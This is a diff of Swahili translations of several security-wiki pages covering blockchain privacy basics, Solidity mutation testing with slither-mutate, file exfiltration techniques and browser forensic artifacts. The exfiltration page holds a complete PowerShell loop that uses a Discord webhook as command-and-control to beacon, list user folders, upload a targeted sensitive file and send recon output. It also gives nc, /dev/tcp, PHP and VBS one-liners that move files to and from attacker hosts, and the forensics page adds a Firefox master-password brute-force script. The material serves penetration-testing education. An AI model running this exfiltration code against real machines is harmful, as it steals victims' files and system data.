- **Multiple change outputs**: Ikiwa kuepuka change haiwezekani, kuunda change outputs nyingi bado kunaweza kuboresha faragha.
- **Multiple transactions**: Kugawanya malipo katika miamala kadhaa kunaweza kuficha kiasi cha muamala, na kuzuwia mashambulizi ya faragha.
- **Change avoidance**: Kuchagua miamala ambazo hazihitaji change outputs kunaboresha faragha kwa kuvuruga mbinu za kugundua change.
- **Multiple change outputs**: Ikiwa kuepuka change haitawezekana, kuzalisha change outputs nyingi bado kunaweza kuboresha faragha.
# **Monero: A Beacon of Anonymity**
# **Monero: Mnara wa Usiri**
Monero inashughulikia haja ya kutofahamika kabisa katika miamala za kidijitali, ikiweka kiwango cha juu cha faragha.
Monero inashughulikia hitaji la ukimya kamili katika miamala za kidijitali, ikiweka kiwango cha juu kwa faragha.
# **Ethereum: Gas and Transactions**
# **Ethereum: Gas na Miamala**
## **Understanding Gas**
Gas hupima kazi ya kihesabu inayohitajika kutekeleza operesheni kwenye Ethereum, iliyopimwa kwa **gwei**. Kwa mfano, muamala unaogharimu 2,310,000 gwei (au 0.00231 ETH) unahusisha gas limit na base fee, pamoja na tip ili kuwahamasisha miners. Watumiaji wanaweza kuweka max fee ili kuhakikisha hawalipi zaidi, na ziada kurejeshwa.
Gas hupima juhudi za kihesabu zinazohitajika kutekeleza operesheni kwenye Ethereum, zilipwa kwa **gwei**. Kwa mfano, muamala wenye gharama 2,310,000 gwei (au 0.00231 ETH) unahusisha gas limit na base fee, pamoja na tip ya kuwahamasisha miners. Watumiaji wanaweza kuweka max fee ili kuhakikisha hawalipi kupita kiasi, na ziada kurudishwa.
## **Executing Transactions**
Miamala katika Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au za smart contract. Zinahitaji ada na lazima zichimbwe. Taarifa muhimu katika muamala ni pamoja na mpokeaji, saini ya mtumaji, thamani, data ya hiari, gas limit, na ada. Vilevile, anwani ya mtumaji hutokana na saini, hivyo sihitajike kuwa imejumuishwa katika data ya muamala.
Miamala kwenye Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au smart contract. Zinahitaji ada na lazima ziminingwe. Taarifa muhimu katika muamala ni pamoja na mpokeaji, saini ya mtumaji, thamani, data ya hiari, gas limit, na ada. Kwa kuzingatia, anwani ya mtumaji inatokana na saini, ikiondoa haja ya kuionyesha katika data ya muamala.
Mazoezi na mifumo hii ni msingi kwa yeyote anayetaka kushiriki katika sarafu za kidijitali huku akikipa kipaumbele faragha na usalama.
Mazoezi na mifumo hii ni msingi kwa yeyote anayetaka kushiriki na cryptocurrencies huku akikipa kipaumbele faragha na usalama.
## Marejeo
## Smart Contract Security
- Mutation testing ili kutafuta maeneo yasiyoonekana katika test suites:
{{#ref}}
../smart-contract-security/mutation-testing-with-slither.md
{{#endref}}
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -183,7 +191,7 @@ Mazoezi na mifumo hii ni msingi kwa yeyote anayetaka kushiriki katika sarafu za
## DeFi/AMM Exploitation
Ikiwa unatafiti practical exploitation ya vitendo ya DEXes na AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), angalia:
Ikiwa unatafiti unyonyaji wa vitendo wa DEXes na AMMs (Uniswap v4 hooks, rounding/precision abuse, flashloan amplified thresholdcrossing swaps), angalia:
{{#ref}}
defi-amm-hook-precision.md

View File

@ -0,0 +1,116 @@
# Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}}
Mutation testing "tests your tests" kwa kuingiza mabadiliko madogo (mutants) kwa njia ya kimfumo katika msimbo wako wa Solidity na kuendesha tena test suite yako. Ikiwa test itashindwa, mutant anaangamizwa. Ikiwa tests bado zinafaulu, mutant ataishi, ikifunua doa la giza kwenye test suite yako ambalo line/branch coverage haiwezi kugundua.
Wazo kuu: Coverage inaonyesha msimbo uliendeshwa; mutation testing inaonyesha kama tabia imethibitishwa kwa kweli.
## Kwa nini coverage inaweza kudanganya
Fikiria ukaguzi huu rahisi wa kizingiti:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
return true;
} else {
return false;
}
}
```
Majaribio ya kitengo yanayochunguza tu thamani chini ya na thamani juu ya kikomo yanaweza kufikia 100% ya coverage ya mistari/matawi wakati yakishindwa kuthibitisha ukomo wa usawa (==). Urekebishaji kuwa `deposit >= 2 ether` bado ungefanya majaribio hayo yapite, ukivunja kimya kimya mantiki ya protocol.
Mutation testing inaonyesha pengo hili kwa kubadilisha sharti na kuthibitisha majaribio yako yanashindwa.
## Vigezo vya mutation vya kawaida katika Solidity
Slithers mutation engine inatekeleza mabadiliko madogo mengi yanayobadilisha semantiki, kama vile:
- Ubadilishaji wa operator: `+``-`, `*``/`, etc.
- Ubadilishaji wa assignment: `+=``=`, `-=``=`
- Ubadilishaji wa constant: non-zero → `0`, `true``false`
- Kukatizwa/kubadilishwa kwa masharti ndani ya `if`/loops
- Kufanya mistari yote kuwa maoni (CR: Comment Replacement)
- Badilisha mstari kwa `revert()`
- Ubadilishaji wa aina za data: mfano, `int128``int64`
Lengo: Uangamize 100% ya mutants waliotengenezwa, au fafanua wale wanaoishi kwa sababu zilizo wazi.
## Kutumia mutation testing na slither-mutate
Mahitaji: Slither v0.10.2+.
- Orodhesha chaguzi na mutators:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
- Mfano wa Foundry (rekodi matokeo na uhifadhi log kamili):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
- Ikiwa hautumii Foundry, badilisha `--test-cmd` na amri unayotumia kuendesha majaribio (mfano, `npx hardhat test`, `npm test`).
Mafaili ya matokeo (artifacts) na ripoti zinahifadhiwa katika `./mutation_campaign` kwa chaguo-msingi. Mutants wasiokamatwa (waliobaki) wanakiliwa huko kwa uchunguzi.
### Understanding the output
Mistari ya ripoti yanaonekana kama:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- The tag in brackets is the mutator alias (e.g., `CR` = Comment Replacement).
- `UNCAUGHT` means tests passed under the mutated behavior → missing assertion.
## Kupunguza wakati wa utekelezaji: ipa kipaumbele mutants zenye athari kubwa
Mutation campaigns can take hours or days. Tips to reduce cost:
- Scope: Start with critical contracts/directories only, then expand.
- Prioritize mutators: If a high-priority mutant on a line survives (e.g., entire line commented), you can skip lower-priority variants for that line.
- Parallelize tests if your runner allows it; cache dependencies/builds.
- Fail-fast: stop early when a change clearly demonstrates an assertion gap.
## Triage workflow for surviving mutants
1) Inspect the mutated line and behavior.
- Reproduce locally by applying the mutated line and running a focused test.
2) Strengthen tests to assert state, not only return values.
- Add equality-boundary checks (e.g., test threshold `==`).
- Assert post-conditions: balances, total supply, authorization effects, and emitted events.
3) Replace overly permissive mocks with realistic behavior.
- Ensure mocks enforce transfers, failure paths, and event emissions that occur on-chain.
4) Add invariants for fuzz tests.
- E.g., conservation of value, non-negative balances, authorization invariants, monotonic supply where applicable.
5) Re-run slither-mutate until survivors are killed or explicitly justified.
## Case study: revealing missing state assertions (Arkis protocol)
A mutation campaign during an audit of the Arkis DeFi protocol surfaced survivors like:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Kuongeza maoni (commenting out the assignment) hakukuangusha tests, ikithibitisha ukosefu wa post-state assertions. Sababu ya mzizi: code iliamini `_cmd.value` iliyo chini ya udhibiti wa mtumiaji badala ya kuthibitisha uhamisho halisi wa tokeni. Mshambulizi angeweza kusababisha uhamisho uliotarajiwa kutofautiana na uhamisho halisi ili kumwaga fedha. Matokeo: hatari ya kiwango cha juu kwa uthabiti wa kifedha wa protocol.
Mwongozo: Tibu survivors zinazogusa uhamisho wa thamani, uhasibu, au udhibiti wa upatikanaji kama hatari ya juu hadi zitakaposuluhishwa (killed).
## Orodha ya vitendo
- Endesha kampeni iliyolengwa:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Fanya triage ya survivors na andika tests/invariants ambazo zingeanguka chini ya tabia iliyobadilishwa.
- Thibitisha salio, usambazaji, idhini, na matukio.
- Ongeza tests za mipaka (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Badilisha mocks zisizo za kweli; simulate failure modes.
- Rudia hadi mutants zote ziwe killed au zifafanuliwe kwa maoni na mantiki.
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,11 @@
{{#include ../banners/hacktricks-training.md}}
## Majimbo ya kawaida yaliyoorodheshwa ili kutoa taarifa
## Domains zinazoruhusiwa mara nyingi (whitelisted) kwa ajili ya exfiltrate taarifa
Angalia [https://lots-project.com/](https://lots-project.com/) ili kupata majimbo ya kawaida yaliyoorodheshwa ambayo yanaweza kutumika vibaya
Angalia [https://lots-project.com/](https://lots-project.com/) ili kupata domains zinazoruhusiwa mara nyingi (whitelisted) ambazo zinaweza kutumiwa vibaya
## Nakala\&Bandika Base64
## Nakili\&Bandika Base64
**Linux**
```bash
@ -42,10 +42,10 @@ Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
### Pakia faili
### Kupakia faili
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer printing GET and POSTs (pia vichwa)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Moduli ya Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -59,7 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS Server**
### **Seva ya HTTPS**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -100,19 +100,104 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) kwa C2 & Data Exfiltration
Webhooks ni write-only HTTPS endpoints zinazopokea JSON na sehemu za faili za hiari. Mara nyingi huruhusiwa kwa domain za SaaS zenye kuaminika na hazihitaji OAuth/API keys, hivyo zinatumika vizuri kwa beaconing na exfiltration zisizo na vizingiti.
Key ideas:
- Endpoint: Discord inatumia https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK huthibitisha utolewaji.
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
Vidokezo:
- Mifumo sawa inatumika kwa majukwaa mengine ya ushirikiano (Slack/Teams) yanayotumia incoming webhooks; rekebisha URL na JSON schema ipasavyo.
- Kwa DFIR ya Discord Desktop cache artifacts na webhook/API recovery, angalia:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### FTP server (python)
### FTP seva (python)
```bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP server (NodeJS)
### Seva ya FTP (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP server (pure-ftp)
### Seva ya FTP (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
@ -143,14 +228,14 @@ ftp -n -v -s:ftp.txt
```
## SMB
Kali kama seva
Kali kama server
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Au tengeneza sehemu ya smb **ukitumia samba**:
Au unda smb share **kwa kutumia samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
```
## SCP
Mshambuliaji lazima awe na SSHd ikifanya kazi.
Mshambuliaji lazima awe na SSHd ikiendesha.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Ikiwa mwathirika ana SSH, mshambuliaji anaweza kuunganisha directory kutoka kwa mwathirika hadi kwa mshambuliaji.
Ikiwa mwathirika ana SSH, mshambuliaji anaweza mount directory kutoka kwa mwathirika hadi kwa mshambuliaji.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -194,19 +279,19 @@ nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Pakua faili kutoka kwa mwathirika
### Pakua faili kutoka kwa mwathiriwa
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Pakia faili kwa mwathirika
### Pakia faili kwa mwanaathiriwa
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
shukrani kwa **@BinaryShadow\_**
asante kwa **@BinaryShadow\_**
## **ICMP**
```bash
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python:
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda seva ya SMTP ili kupokea data kwa python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
Kwa default katika XP na 2003 (katika zingine inahitaji kuongezwa wazi wakati wa usakinishaji)
Kwa chaguo-msingi katika XP na 2003 (kwa mengine inahitaji kuongezwa wazi wakati wa usakinishaji)
Katika Kali, **anza TFTP server**:
Katika Kali, **start TFTP server**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**TFTP server katika python:**
**Seva ya TFTP kwa python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
Katika **muhanga**, ungana na seva ya Kali:
Katika **victim**, ungana na server ya Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Pakua faili na PHP oneliner:
Pakua faili kwa oneliner ya PHP:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -262,7 +347,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Mtu waathirika**
**Mwanaathiriwa**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga tena kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuunda faili la binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha kuunganisha faili hadi ukubwa wa 64 kb**.
Programu ya `debug.exe` si tu inaruhusu ukaguzi wa binaries bali pia ina **uwezo wa kuzijenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kutengeneza faili ya binary. Hata hivyo, ni muhimu kutambua kwamba debug.exe ina **kikomo cha assembling faili hadi ukubwa wa 64 kb**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Kisha nakala-na-kupasta maandiko hayo kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
Kisha copy-paste maandishi hayo kwenye windows-shell na faili iitwayo nc.exe itaumbwa.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -310,4 +395,10 @@ Kisha nakala-na-kupasta maandiko hayo kwenye windows-shell na faili inayoitwa nc
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## Marejeo
- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,58 +1,58 @@
# Browser Artifacts
# Mabaki ya vivinjari
{{#include ../../../banners/hacktricks-training.md}}
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
## Mabaki ya vivinjari <a href="#id-3def" id="id-3def"></a>
Browser artifacts ni pamoja na aina mbalimbali za data zilizohifadhiwa na vivinjari vya wavuti, kama vile historia ya urambazaji, alama, na data ya cache. Vifaa hivi huhifadhiwa katika folda maalum ndani ya mfumo wa uendeshaji, vinatofautiana katika eneo na jina kati ya vivinjari, lakini kwa ujumla huhifadhi data za aina zinazofanana.
Mabaki ya vivinjari ni aina mbalimbali za data zinazohifadhiwa na vivinjari vya wavuti, kama historia ya urambazaji, alama (bookmarks), na data za kache. Mabaki haya huhifadhiwa katika folda maalum ndani ya mfumo wa uendeshaji, ambapo mahali na majina yanatofautiana kati ya vivinjari, lakini kwa ujumla huwa yana aina sawa za data.
Hapa kuna muhtasari wa vifaa vya vivinjari vinavyotumika sana:
Hapa kuna muhtasari wa mabaki ya vivinjari yanayotokea mara kwa mara:
- **Historia ya Urambazaji**: Inafuatilia ziara za mtumiaji kwenye tovuti, muhimu kwa kutambua ziara kwenye tovuti hatari.
- **Data ya Autocomplete**: Mapendekezo yanayotokana na utafutaji wa mara kwa mara, yanayotoa mwanga unapounganishwa na historia ya urambazaji.
- **Alama**: Tovuti zilizohifadhiwa na mtumiaji kwa ufikiaji wa haraka.
- **Extensions and Add-ons**: Mipanuzi au nyongeza za vivinjari zilizowekwa na mtumiaji.
- **Cache**: Huhifadhi maudhui ya wavuti (mfano, picha, faili za JavaScript) ili kuboresha nyakati za upakiaji wa tovuti, muhimu kwa uchambuzi wa forensics.
- **Logins**: Akiba ya taarifa za kuingia.
- **Favicons**: Ikoni zinazohusishwa na tovuti, zinazojitokeza katika tab na alama, muhimu kwa taarifa za ziada kuhusu ziara za mtumiaji.
- **Browser Sessions**: Data inayohusiana na vikao vya vivinjari vilivyo wazi.
- **Navigation History**: Inarekodi ziara za mtumiaji kwenye tovuti, muhimu kwa kubaini ziara za tovuti hatarishi.
- **Autocomplete Data**: Mapendekezo yanayotokana na utafutaji wa mara kwa mara, yanaweza kutoa ufahamu ikichanganywa na historia ya urambazaji.
- **Bookmarks**: Tovuti zilizohifadhiwa na mtumiaji kwa ufikivu wa haraka.
- **Extensions and Add-ons**: Viendelezi au add-ons vilivyowekwa na mtumiaji.
- **Cache**: Huhifadhi yaliyomo ya wavuti (mfano: picha, faili za JavaScript) ili kuboresha nyakati za kupakia tovuti, muhimu kwa uchunguzi wa forensiki.
- **Logins**: Taarifa za kuingia zilizohifadhiwa.
- **Favicons**: Ikoni zinazohusishwa na tovuti, zinazoonekana kwenye tabo na alama, zikitumika kutoa taarifa za ziada kuhusu ziara za mtumiaji.
- **Browser Sessions**: Data zinazohusiana na vikao vya kivinjari vilivyo wazi.
- **Downloads**: Rekodi za faili zilizopakuliwa kupitia kivinjari.
- **Form Data**: Taarifa zilizoingizwa katika fomu za wavuti, zilizohifadhiwa kwa mapendekezo ya kujaza kiotomatiki baadaye.
- **Thumbnails**: Picha za awali za tovuti.
- **Form Data**: Taarifa zilizowekwa katika fomu za wavuti, zilizoifadhiwa kwa mapendekezo ya kujaza moja kwa moja baadaye.
- **Thumbnails**: Picha ndogo za awali (thumbnails) za tovuti.
- **Custom Dictionary.txt**: Maneno yaliyoongezwa na mtumiaji kwenye kamusi ya kivinjari.
## Firefox
Firefox inaandaa data za mtumiaji ndani ya profaili, zilizohifadhiwa katika maeneo maalum kulingana na mfumo wa uendeshaji:
Firefox huweka data za mtumiaji ndani ya profaili, zinazohifadhiwa katika maeneo maalum kulingana na mfumo wa uendeshaji:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Faili ya `profiles.ini` ndani ya hizi folda inataja profaili za mtumiaji. Data za kila profaili huhifadhiwa katika folda iliyopewa jina katika variable ya `Path` ndani ya `profiles.ini`, iliyoko katika folda ile ile kama `profiles.ini` yenyewe. Ikiwa folda ya profaili inakosekana, inaweza kuwa imefutwa.
Faili `profiles.ini` ndani ya direktori hizi inaorodhesha profaili za watumiaji. Data ya kila profaili huhifadhiwa katika folda iliyoitwa kwenye thamani ya `Path` ndani ya `profiles.ini`, iliyopo katika direktori ile ile na `profiles.ini`. Ikiwa folda ya profaili inakosekana, inaweza kuwa imefutwa.
Ndani ya kila folda ya profaili, unaweza kupata faili kadhaa muhimu:
- **places.sqlite**: Huhifadhi historia, alama, na upakuaji. Zana kama [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kwenye Windows zinaweza kufikia data ya historia.
- Tumia maswali maalum ya SQL kutoa taarifa za historia na upakuaji.
- **bookmarkbackups**: Inahifadhi nakala za alama.
- **formhistory.sqlite**: Huhifadhi data za fomu za wavuti.
- **handlers.json**: Inasimamia wakala wa itifaki.
- **persdict.dat**: Maneno ya kamusi ya kawaida.
- **addons.json** na **extensions.sqlite**: Taarifa kuhusu nyongeza na mipanuzi iliyowekwa.
- **cookies.sqlite**: Hifadhi ya kuki, na [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) inapatikana kwa ukaguzi kwenye Windows.
- **cache2/entries** au **startupCache**: Data ya cache, inayoweza kupatikana kupitia zana kama [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Huhifadhi favicons.
- **prefs.js**: Mipangilio na mapendeleo ya mtumiaji.
- **downloads.sqlite**: Hifadhidata ya zamani ya upakuaji, sasa imeunganishwa katika places.sqlite.
- **thumbnails**: Thumbnails za tovuti.
- **logins.json**: Taarifa za kuingia zilizofichwa.
- **key4.db** au **key3.db**: Huhifadhi funguo za usimbaji kwa ajili ya kulinda taarifa nyeti.
- **places.sqlite**: Inahifadhi historia, alama (bookmarks), na upakuaji. Zana kama [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) kwenye Windows zinaweza kupata data ya historia.
- Tumia maswali maalum ya SQL kupata habari za historia na upakuaji.
- **bookmarkbackups**: Ina nakala za akiba za alama (bookmarks).
- **formhistory.sqlite**: Inahifadhi data za fomu za wavuti.
- **handlers.json**: Inasimamia handlers za itifaki.
- **persdict.dat**: Maneno ya kamusi ya mtumiaji.
- **addons.json** na **extensions.sqlite**: Taarifa kuhusu add-ons na viendelezi vilivyowekwa.
- **cookies.sqlite**: Uhifadhi wa cookie, ambapo [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) inapatikana kwa uchunguzi kwenye Windows.
- **cache2/entries** or **startupCache**: Data za kache, zinazoonekana kwa zana kama [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Inahifadhi favicons.
- **prefs.js**: Mipangilio na upendeleo wa mtumiaji.
- **downloads.sqlite**: Hifadhi ya zamani ya upakuaji, sasa imeingizwa ndani ya places.sqlite.
- **thumbnails**: Picha ndogo (thumbnails) za tovuti.
- **logins.json**: Taarifa za kuingia zilizofichwa (encrypted).
- **key4.db** or **key3.db**: Inahifadhi funguo za encryption kwa kulinda taarifa nyeti.
Zaidi ya hayo, kuangalia mipangilio ya kivinjari ya kupambana na uvuvi wa mtandao kunaweza kufanywa kwa kutafuta `browser.safebrowsing` katika `prefs.js`, ikionyesha ikiwa vipengele vya kuvinjari salama vimewezeshwa au havijawezeshwa.
Zaidi ya hayo, kuangalia mipangilio ya kuzuia phishing ya kivinjari inaweza kufanywa kwa kutafuta vifungu `browser.safebrowsing` katika `prefs.js`, vinavyoonyesha ikiwa vipengele vya safe browsing vimewezeshwa au vimezimwa.
Ili kujaribu kufichua nenosiri kuu, unaweza kutumia [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Kwa script na wito huu unaweza kubainisha faili la nenosiri ili kufanya brute force:
To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Kwa script na wito ifuatayo unaweza kuainisha faili la nenosiri kwa kujaribu kwa brute force:
```bash:brute.sh
#!/bin/bash
@ -67,59 +67,65 @@ done < $passfile
## Google Chrome
Google Chrome huhifadhi profaili za watumiaji katika maeneo maalum kulingana na mfumo wa uendeshaji:
Google Chrome huhifadhi profiles za watumiaji katika maeneo maalum kulingana na mfumo wa uendeshaji:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Ndani ya hizi saraka, data nyingi za mtumiaji zinaweza kupatikana katika folda za **Default/** au **ChromeDefaultData/**. Faili zifuatazo zina data muhimu:
Ndani ya direktorii hizi, data nyingi za mtumiaji zinaweza kupatikana katika folda za **Default/** au **ChromeDefaultData/**. Faili zifuatazo zina data muhimu:
- **History**: Inashikilia URLs, upakuaji, na maneno ya utafutaji. Kwenye Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) inaweza kutumika kusoma historia. Safu ya "Transition Type" ina maana mbalimbali, ikiwa ni pamoja na kubonyeza kwa watumiaji kwenye viungo, URLs zilizotajwa, uwasilishaji wa fomu, na upakiaji wa kurasa.
- **Cookies**: Inahifadhi cookies. Kwa ukaguzi, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) inapatikana.
- **Cache**: Inashikilia data iliyohifadhiwa. Kwa ukaguzi, watumiaji wa Windows wanaweza kutumia [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Alama za mtumiaji.
- **Web Data**: Inashikilia historia ya fomu.
